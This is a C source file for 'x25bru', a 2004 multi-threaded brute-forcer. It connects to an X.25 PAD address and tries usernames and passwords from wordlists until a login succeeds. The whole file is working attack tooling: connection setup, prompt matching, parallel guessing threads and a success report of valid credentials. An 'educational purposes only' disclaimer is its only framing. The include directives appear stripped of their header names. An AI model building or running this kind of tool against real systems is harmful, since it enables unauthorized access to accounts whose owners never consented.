/* * x25bru.c Version 0.01 Beta0 * * Multi thread/link x25 pad bruteforcer. * * The speed of this software will depend of x25 network congestion and * the number of free outgoing link. Don't use a number of thread greater * than you link number or you will get problems. For add recognize OS * reply just modify valid_login, valid_password and invalid_answer array. * * Options: * * -d NUA to bruteforce * -u Username file * -p Password file * -c Number of threads (default 1) * -v Verbose * * Todo: * + Auto recognize number of lines * + x25 link errors * * Compilation: * + gcc -o x25bru x25bru.c -L/opt/SUNWconn/lib/ -R/opt/SUNWconn/lib/ \ * -lthread -lsockx25 -lsocket -Wall * * * Dedicated to a lost friend. * * * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* * IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY * * (c) 2004 Copyright by Inode * */ #include #include #include #include #include #include #include #include #include // X25 includes #include #include #include #include #include #include #include #include #include #include #include #include #include #define VERSION "0.01 Beta0" #define USERLEN 100 #define MAX_THREAD 250 char * valid_login[] = { "login", NULL }; char * valid_password[] = { "sword", NULL }; char * invalid_answer[] = { "incorrect", NULL }; struct list_type { char text[ USERLEN ]; struct list_type * next; }; struct list_type * user_list = NULL; struct list_type * pass_list = NULL; struct list_type * cur_user = NULL; struct list_type * cur_pass = NULL; // Mutex variables pthread_mutex_t input_queue; pthread_mutex_t output_file; extern int errno; int verbose = 0; unsigned long checked = 0; char * nua_dest = NULL; /* * Prototypes * */ void load_file( char * filename , struct list_type ** list); void free_list( struct list_type ** list); int connect_x25( char * nua ); int pack(char * str, u_char * bcd); int pack(char * str, u_char * bcd) { int i, j; u_char c; i = j = 0; while (str[i]) { if (i >= 15 || str[i] < '0' || str[i] > '9') return (-1); c = str[i] - '0'; if (i & 1) bcd[j++] |= c; else bcd[j] = c << 4; i++; } return (i); } int connect_x25( char * nua ) { int s; int pgrp = getpid(); CONN_DB remote; int user_data_len = 0; u_char user_data[126]; if ((s = socket(AF_X25, SOCK_STREAM, 0)) < 0) { perror("socket"); exit(1); } /* * Set process group id for socket, and signal handler. */ if (ioctl(s, SIOCSPGRP, &pgrp)) { perror("ioctl(SIOCSPGRP)"); exit(1); } /* * Set remote address and select link if specified */ if ((remote.hostlen = pack( nua, remote.host)) < 0) { printf("Error: invalid destination address\n"); exit(1); } if (user_data_len > MAXDATA) { /* * The excess data must be set using X25_WR_USER_DATA. This * will be preceded by the data specified in remote. */ USER_DATA_DB u; u.datalen = user_data_len - MAXDATA; } remote.datalen = (uint8_t) user_data_len; memmove(remote.data, user_data, user_data_len); // Connect if (connect(s, (struct sockaddr *)&remote, sizeof(remote)) < 0) { perror("connect"); exit(1); } return s; } /* * Load list from file and store in the correct structure * */ void load_file( char * filename , struct list_type ** list) { FILE *in; char buffer[ USERLEN ]; struct list_type * cur = NULL; struct list_type * new = NULL; // Open the file if( ( in = fopen( filename, "r") ) == NULL ) { fprintf( stderr, "Error opening file %s\n", filename ); exit( 0 ); } // Read until the end of file for( ;; ) { if( fgets( buffer, sizeof(buffer), in) == NULL ) break; // remove the newline chars buffer[ strlen(buffer) - 1 ] = 0; // store the username in the right struture new = (struct list_type *) malloc ( sizeof( struct list_type ) ); new -> next = NULL; strncpy( new->text, buffer, USERLEN ); new -> text[ USERLEN - 1 ] = 0; // Update the list if( *list == NULL ) { *list = new; cur = new; } else { cur -> next = new; cur = new; } } fclose( in ); } /* * Free a list_type structure * */ void free_list( struct list_type ** list) { struct list_type * cur = *list; while( cur != NULL ) { *list = cur -> next; free( cur ); cur = *list; } *list = NULL; } void usage( char * argv0 ) { fprintf( stderr, " Usage:\n"); fprintf( stderr, " %s -d -u [-p ] [-c ] [-v]\n\n" , argv0); fprintf( stderr, " -d NUA to bruteforce\n"); fprintf( stderr, " -u Username file\n"); fprintf( stderr, " -p Password file\n"); fprintf( stderr, " -c Number of threads (default 1)\n"); fprintf( stderr, " -v Verbose\n\n"); exit( 0 ); } /* * * */ int read_sock( int sock, char * buffer, long buf_len, char ** search) { fd_set read_template; struct timeval wait; int retval; int i; wait.tv_sec = 5; wait.tv_usec = 0; for( ;; ) { FD_ZERO(&read_template); FD_SET(sock, &read_template); retval = select(FD_SETSIZE, &read_template, (fd_set *) 0, (fd_set *) 0, &wait); if(retval < 1) break; memset(buffer, 0,buf_len); read( sock, buffer, buf_len); i = 0; while( search[ i ] != NULL ) { if( strstr(buffer, search[i]) != NULL ) break; i++; } if( search[ i ] != NULL ) return 1; } return 0; } int check_user( char * username, char * password, int socket ) { char buffer[2000]; if( read_sock( socket, buffer, sizeof(buffer), valid_login) == 0 ) { return -1; } sprintf(buffer, "%s\n", username); if( write( socket, buffer, strlen(buffer)) < 0 ) return -1; if( read_sock( socket, buffer, sizeof(buffer), valid_password) == 0 ) { return -1; } sprintf(buffer, "%s\n", password); if( write( socket, buffer, strlen(buffer)) < 0 ) return -1; if( read_sock( socket, buffer, sizeof(buffer), invalid_answer) == 0 ) { return 0; } return 1; } void * scan(void * data) { int sock = -1; int chec = 0; char username[USERLEN]; char password[USERLEN]; for( ;; ) { pthread_mutex_lock(&input_queue); // Stop on finish if( cur_user == NULL ) { pthread_mutex_unlock(&input_queue); break; } strcpy( username, cur_user->text); if( pass_list == NULL ) { strcpy( password, cur_user->text); // next username cur_user = cur_user -> next; } else { strcpy( password, cur_pass->text); // next password cur_pass = cur_pass -> next; if( cur_pass == NULL ) { // if password finish, pass to next user cur_pass = pass_list; cur_user = cur_user -> next; } } if( verbose > 0 ) fprintf( stderr, " Testing %s:%s\n", username, password); pthread_mutex_unlock(&input_queue); checked ++; chec = 0; while( chec == 0 ) { if( sock < 0 ) { sock = connect_x25( nua_dest ); // Set a non blocking socket fcntl(sock, F_SETFL, O_NONBLOCK); } switch ( check_user( username, password, sock) ) { case -1: close( sock ); sock = -1; break; case 0: // Success! printf("\n\nValid user %s with password %s\n\n",username,password); close( sock ); sock = -1; chec = 1; break; case 1: chec = 1; break; } } } return 0; } int main( int argc, char ** argv) { char opt; int number_thread = 1; time_t start; time_t current; int i; pthread_t thread_id[200]; fprintf( stderr, "\n X25 pad bruteforcer v%s by Inode \n\n", VERSION); // Check arguments while((opt = getopt(argc, argv, "u:p:c:d:v")) != -1) { switch (opt) { case 'd': nua_dest = optarg; break; case 'c': number_thread = atoi( optarg ); break; case 'u': load_file(optarg, &user_list); break; case 'p': load_file(optarg, &pass_list); break; case 'v': verbose = 1; break; break; default: usage( argv[0] ); break; } } if( user_list == NULL || nua_dest == NULL) { usage( argv[0] ); exit( 0 ); } pthread_setconcurrency( number_thread ); pthread_mutex_init(&input_queue, NULL); pthread_mutex_init(&output_file, NULL); cur_user = user_list; cur_pass = pass_list; time(&start); for( i = 0 ; i < number_thread; i++) if( pthread_create( &thread_id[i], NULL, &scan, NULL) != 0 ) { i--; fprintf(stderr,"\nError in creating thread\n"); } for( i = 0 ; i < number_thread; i++) if( pthread_join( thread_id[i], NULL) != 0 ) { fprintf(stderr,"\nError in joining thread\n"); } time(¤t); fprintf(stderr, "\n\n"); fprintf(stderr, " +-----------+--------+-----------+\n"); fprintf(stderr, " | Checked | Time | Average/s |\n"); fprintf(stderr, " +--------------------+-----------+\n"); fprintf(stderr, " | %9u | %6.0lf | %9.0lf |\n", (unsigned int)checked, difftime(current,start), checked/difftime(current,start) ); fprintf(stderr, " +--------------------+-----------+\n"); fprintf(stderr, "\n\n"); free_list( &user_list ); free_list( &pass_list ); return 0; }